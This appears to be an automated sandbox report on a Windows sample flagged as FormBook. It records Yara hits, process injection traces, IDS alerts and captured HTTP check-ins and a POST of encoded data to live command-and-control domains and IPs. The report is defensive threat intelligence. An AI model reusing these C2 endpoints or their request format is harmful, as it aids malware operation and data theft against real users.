Windows Analysis Report
8mmZ7Bkoj1.exe

AI detected suspicious sample

Source: Yara match	File source: 1.2.svchost.exe.2410000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.svchost.exe.2410000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.2155548191.0000000002C90000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3561632009.00000000044E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2147046823.0000000002410000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3563473884.0000000005600000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2162734748.0000000005C00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3560663904.0000000002800000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3561586168.0000000004490000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3561735545.00000000056D0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: 8mmZ7Bkoj1.exe

Joe Sandbox ML: detected

Source: 8mmZ7Bkoj1.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source:	Binary string: makecab.pdbGCTL source: svchost.exe, 00000001.00000003.2111036861.000000000282A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2110933749.000000000281B000.00000004.00000020.00020000.00000000.sdmp, eKxwLXHhqpgy.exe, 00000005.00000002.3561180212.00000000010E7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: eKxwLXHhqpgy.exe, 00000005.00000002.3560737950.0000000000BBE000.00000002.00000001.01000000.00000005.sdmp, eKxwLXHhqpgy.exe, 00000007.00000000.2224546408.0000000000BBE000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: wntdll.pdbUGP source: svchost.exe, 00000001.00000002.2155609002.0000000002F9E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2032565118.0000000002A00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2155609002.0000000002E00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2036860924.0000000002C00000.00000004.00000020.00020000.00000000.sdmp, makecab.exe, 00000006.00000002.3561799198.000000000489E000.00000040.00001000.00020000.00000000.sdmp, makecab.exe, 00000006.00000002.3561799198.0000000004700000.00000040.00001000.00020000.00000000.sdmp, makecab.exe, 00000006.00000003.2155490594.000000000454C000.00000004.00000020.00020000.00000000.sdmp, makecab.exe, 00000006.00000003.2145069382.000000000439C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: svchost.exe, svchost.exe, 00000001.00000002.2155609002.0000000002F9E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2032565118.0000000002A00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2155609002.0000000002E00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2036860924.0000000002C00000.00000004.00000020.00020000.00000000.sdmp, makecab.exe, makecab.exe, 00000006.00000002.3561799198.000000000489E000.00000040.00001000.00020000.00000000.sdmp, makecab.exe, 00000006.00000002.3561799198.0000000004700000.00000040.00001000.00020000.00000000.sdmp, makecab.exe, 00000006.00000003.2155490594.000000000454C000.00000004.00000020.00020000.00000000.sdmp, makecab.exe, 00000006.00000003.2145069382.000000000439C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: makecab.pdb source: svchost.exe, 00000001.00000003.2111036861.000000000282A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2110933749.000000000281B000.00000004.00000020.00020000.00000000.sdmp, eKxwLXHhqpgy.exe, 00000005.00000002.3561180212.00000000010E7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: makecab.exe, 00000006.00000002.3562512745.0000000004D2C000.00000004.10000000.00040000.00000000.sdmp, makecab.exe, 00000006.00000002.3560929755.0000000002AC3000.00000004.00000020.00020000.00000000.sdmp, eKxwLXHhqpgy.exe, 00000007.00000002.3561845912.00000000031CC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2451289116.000000001C1CC000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: makecab.exe, 00000006.00000002.3562512745.0000000004D2C000.00000004.10000000.00040000.00000000.sdmp, makecab.exe, 00000006.00000002.3560929755.0000000002AC3000.00000004.00000020.00020000.00000000.sdmp, eKxwLXHhqpgy.exe, 00000007.00000002.3561845912.00000000031CC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2451289116.000000001C1CC000.00000004.80000000.00040000.00000000.sdmp

Source: C:\Windows\SysWOW64\makecab.exe

Code function: 6_2_0281C541 FindFirstFileW,FindNextFileW,FindClose,

6_2_0281C541

Source: C:\Windows\SysWOW64\makecab.exe	Code function: 4x nop then xor eax, eax	6_2_02809B10
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 4x nop then mov ebx, 00000004h	6_2_045D04E8
Source: C:\Program Files (x86)\HBeYDbubOyqoARpYdxoNzPaqubIpqJxiZQYxmndjKe\eKxwLXHhqpgy.exe	Code function: 4x nop then pop edi	7_2_05636CB0
Source: C:\Program Files (x86)\HBeYDbubOyqoARpYdxoNzPaqubIpqJxiZQYxmndjKe\eKxwLXHhqpgy.exe	Code function: 4x nop then pop edi	7_2_0563604A
Source: C:\Program Files (x86)\HBeYDbubOyqoARpYdxoNzPaqubIpqJxiZQYxmndjKe\eKxwLXHhqpgy.exe	Code function: 4x nop then xor eax, eax	7_2_0563A853
Source: C:\Program Files (x86)\HBeYDbubOyqoARpYdxoNzPaqubIpqJxiZQYxmndjKe\eKxwLXHhqpgy.exe	Code function: 4x nop then pop edi	7_2_05636008
Source: C:\Program Files (x86)\HBeYDbubOyqoARpYdxoNzPaqubIpqJxiZQYxmndjKe\eKxwLXHhqpgy.exe	Code function: 4x nop then pop edi	7_2_0563531E
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Code function: 4x nop then mov ebx, 00000004h	8_2_000002469BF634E8

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:49752 -> 156.226.22.233:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:49883 -> 176.32.38.141:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:50015 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:50023 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:50011 -> 199.192.21.169:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:50019 -> 84.32.84.32:80

Performs DNS queries to domains with low reputation

Source:

DNS query: www.impo232rt.xyz

Source: Joe Sandbox View	IP Address: 199.192.21.169 199.192.21.169
Source: Joe Sandbox View	IP Address: 84.32.84.32 84.32.84.32

Source: Joe Sandbox View	ASN Name: NAMECHEAP-NETUS NAMECHEAP-NETUS
Source: Joe Sandbox View	ASN Name: AISI-AS-APHKAISICLOUDCOMPUTINGLIMITEDHK AISI-AS-APHKAISICLOUDCOMPUTINGLIMITEDHK
Source: Joe Sandbox View	ASN Name: NTT-LT-ASLT NTT-LT-ASLT
Source: Joe Sandbox View	ASN Name: ASBAXETRU ASBAXETRU

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /i70z/?Yp=eXMH4fkp&nrs8j=8fwlLwm+T0nphGhW7PHH3xFKB5SB8SFc9+r/t0QDCeclosptBaw61DZvImsaGCeeZR7Fl0K64LM59E0NLQ1vdm4QrRMTpos6Kj6ui5/Q8OeERMbnF/TN1fg= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,enHost: www.nad5.shopConnection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.43 Safari/537.36 Vivaldi/1.0.252.3
Source: global traffic	HTTP traffic detected: GET /azcx/?nrs8j=irMYamRxHtj3NMD2tLgxvViSvpLqwhvn7ehZdObCxtX/sdDuQfcDsrOzu60Trx/UY7Wv4F1shT0OqKdZ6j2zU9VfvWpTmK3e9j1Z+5zsY7kVMmPgkcjeH9Y=&Yp=eXMH4fkp HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,enHost: www.impo232rt.xyzConnection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.43 Safari/537.36 Vivaldi/1.0.252.3
Source: global traffic	HTTP traffic detected: GET /6iok/?Yp=eXMH4fkp&nrs8j=Lr8I5vR8kZnO1BXwYoMTGZrf0zW9P9gXQAsQehgeDaNdyJVo64QKCUs+Z9VbQDUfL8+SUHVZNFYLvGD3PrMcSw81RdJBHrPngUHAq0ps+A4FRAxn/QrS6wg= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,enHost: www.cenfresh.lifeConnection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.43 Safari/537.36 Vivaldi/1.0.252.3
Source: global traffic	HTTP traffic detected: GET /paa2/?Yp=eXMH4fkp&nrs8j=qDBzf3Em8FMnDuZYbVfiL5sknZWYhueoT0F4r09hh9DCbJoHqCNNB+hYoG1Us3VrdNJQeWmKv3CCTbgwH3NiU5qDwpXvlmSTPuYmawVAsPwUoUwLb74j9YI= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,enHost: www.digitalbloom.infoConnection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.43 Safari/537.36 Vivaldi/1.0.252.3
Source: global traffic	HTTP traffic detected: GET /pt4m/?nrs8j=AzKTe9sU/un6FWh8J4Z/TBPHes/wm2VwkqZ8OIQkGxADXwK45dBXsHOALtRz338sDHJ9qmiySJX4ofZpl75YgKir24cXfpRpIxKZjJwadTshiHDArMKxe74=&Yp=eXMH4fkp HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,enHost: www.thepeatear.onlineConnection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.43 Safari/537.36 Vivaldi/1.0.252.3
Source: global traffic	HTTP traffic detected: GET /oigd/?Yp=eXMH4fkp&nrs8j=OmljFUtRbeDOfRENDbVJh6NUYYaJHl1k9TsJZM5Ee42aF5vB50jMxPr4FwwBeRCvDsFug2RQoELqNPfysYsF+OkFJw//SD8mDkg+57R+QpypShxcm6mm+yI= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,enHost: www.crowsecurity.cloudConnection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.43 Safari/537.36 Vivaldi/1.0.252.3

Source: global traffic	DNS traffic detected: DNS query: www.nad5.shop
Source: global traffic	DNS traffic detected: DNS query: www.impo232rt.xyz
Source: global traffic	DNS traffic detected: DNS query: www.cenfresh.life
Source: global traffic	DNS traffic detected: DNS query: www.trafegomagico.shop
Source: global traffic	DNS traffic detected: DNS query: www.digitalbloom.info
Source: global traffic	DNS traffic detected: DNS query: www.thepeatear.online
Source: global traffic	DNS traffic detected: DNS query: www.mktimediato.online
Source: global traffic	DNS traffic detected: DNS query: www.schoolsfrirstfcu.org
Source: global traffic	DNS traffic detected: DNS query: www.crowsecurity.cloud
Source: global traffic	DNS traffic detected: DNS query: www.myjiorooms.services

Source: unknown

HTTP traffic detected: POST /azcx/ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,enAccept-Encoding: gzip, deflate, brHost: www.impo232rt.xyzContent-Type: application/x-www-form-urlencodedContent-Length: 202Connection: closeCache-Control: no-cacheOrigin: http://www.impo232rt.xyzReferer: http://www.impo232rt.xyz/azcx/User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.43 Safari/537.36 Vivaldi/1.0.252.3Data Raw: 6e 72 73 38 6a 3d 76 70 6b 34 5a 57 39 38 46 38 7a 79 41 70 50 35 6b 63 73 65 6c 7a 2f 74 67 34 43 71 77 31 6e 49 2f 50 64 76 49 64 43 63 2b 73 44 48 6c 4e 65 4b 45 36 4a 34 31 62 48 73 70 62 51 57 72 33 62 4c 56 72 53 55 37 30 42 5a 6b 68 31 35 67 4a 6c 48 37 44 61 4d 51 49 6b 34 77 6b 31 4d 74 4c 6e 42 77 46 46 77 76 74 76 2b 53 35 6b 63 66 32 4c 42 6f 2b 32 41 49 4e 4c 70 2f 58 45 69 4c 71 50 38 54 76 4a 54 4e 73 7a 48 61 62 6d 47 61 6e 6d 37 4d 6d 63 52 31 71 56 69 57 2f 7a 47 4b 4e 5a 76 4a 43 75 70 56 4e 30 46 4a 59 6d 67 34 7a 39 4e 52 48 7a 44 76 46 47 45 6f 4a 6b 7a 56 71 64 69 69 41 3d 3d Data Ascii: nrs8j=vpk4ZW98F8zyApP5kcselz/tg4Cqw1nI/PdvIdCc+sDHlNeKE6J41bHspbQWr3bLVrSU70BZkh15gJlH7DaMQIk4wk1MtLnBwFFwvtv+S5kcf2LBo+2AINLp/XEiLqP8TvJTNszHabmGanm7MmcR1qViW/zGKNZvJCupVN0FJYmg4z9NRHzDvFGEoJkzVqdiiA==

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 08 Oct 2024 12:18:23 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 08 Oct 2024 12:19:13 GMTServer: ApacheX-Frame-Options: SAMEORIGINContent-Length: 774X-XSS-Protection: 1; mode=blockConnection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 0d 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 63 73 73 2f 73 74 79 6c 65 34 30 34 2e 63 73 73 22 20 2f 3e 0d 0a 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 0d 0a 3c 62 6f 64 79 3e 0d 0a 0d 0a 09 3c 64 69 76 20 69 64 3d 22 6e 6f 74 66 6f 75 6e 64 22 3e 0d 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 22 3e 0d 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 2d 34 30 34 22 3e 0d 0a 09 09 09 09 3c 68 31 3e 34 3c 73 70 61 6e 3e 30 3c 2f 73 70 61 6e 3e 34 3c 2f 68 31 3e 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 3c 68 32 3e 74 68 65 20 70 61 67 65 20 79 6f 75 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 09 09 09 3c 66 6f 72 6d 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 2d 73 65 61 72 63 68 22 3e 0d 0a 09 09 09 09 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 74 65 78 74 22 20 70 6c 61 63 65 68 6f 6c 64 65 72 3d 22 53 65 61 72 63 68 2e 2e 2e 22 3e 0d 0a 09 09 09 09 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 3e 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 2f 62 75 74 74 6f 6e 3e 0d 0a 09 09 09 3c 2f 66 6f 72 6d 3e 0d 0a 09 09 3c 2f 64 69 76 3e 0d 0a 09 3c 2f 64 69 76 3e 0d 0a 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Roboto:400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/style404.css" /></head><body><div id="notfound"><div class="
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 08 Oct 2024 12:19:16 GMTServer: ApacheX-Frame-Options: SAMEORIGINContent-Length: 774X-XSS-Protection: 1; mode=blockConnection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 0d 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 63 73 73 2f 73 74 79 6c 65 34 30 34 2e 63 73 73 22 20 2f 3e 0d 0a 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 0d 0a 3c 62 6f 64 79 3e 0d 0a 0d 0a 09 3c 64 69 76 20 69 64 3d 22 6e 6f 74 66 6f 75 6e 64 22 3e 0d 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 22 3e 0d 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 2d 34 30 34 22 3e 0d 0a 09 09 09 09 3c 68 31 3e 34 3c 73 70 61 6e 3e 30 3c 2f 73 70 61 6e 3e 34 3c 2f 68 31 3e 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 3c 68 32 3e 74 68 65 20 70 61 67 65 20 79 6f 75 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 09 09 09 3c 66 6f 72 6d 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 2d 73 65 61 72 63 68 22 3e 0d 0a 09 09 09 09 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 74 65 78 74 22 20 70 6c 61 63 65 68 6f 6c 64 65 72 3d 22 53 65 61 72 63 68 2e 2e 2e 22 3e 0d 0a 09 09 09 09 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 3e 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 2f 62 75 74 74 6f 6e 3e 0d 0a 09 09 09 3c 2f 66 6f 72 6d 3e 0d 0a 09 09 3c 2f 64 69 76 3e 0d 0a 09 3c 2f 64 69 76 3e 0d 0a 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Roboto:400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/style404.css" /></head><body><div id="notfound"><div class="
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 08 Oct 2024 12:19:18 GMTServer: ApacheX-Frame-Options: SAMEORIGINContent-Length: 774X-XSS-Protection: 1; mode=blockConnection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 0d 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 63 73 73 2f 73 74 79 6c 65 34 30 34 2e 63 73 73 22 20 2f 3e 0d 0a 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 0d 0a 3c 62 6f 64 79 3e 0d 0a 0d 0a 09 3c 64 69 76 20 69 64 3d 22 6e 6f 74 66 6f 75 6e 64 22 3e 0d 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 22 3e 0d 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 2d 34 30 34 22 3e 0d 0a 09 09 09 09 3c 68 31 3e 34 3c 73 70 61 6e 3e 30 3c 2f 73 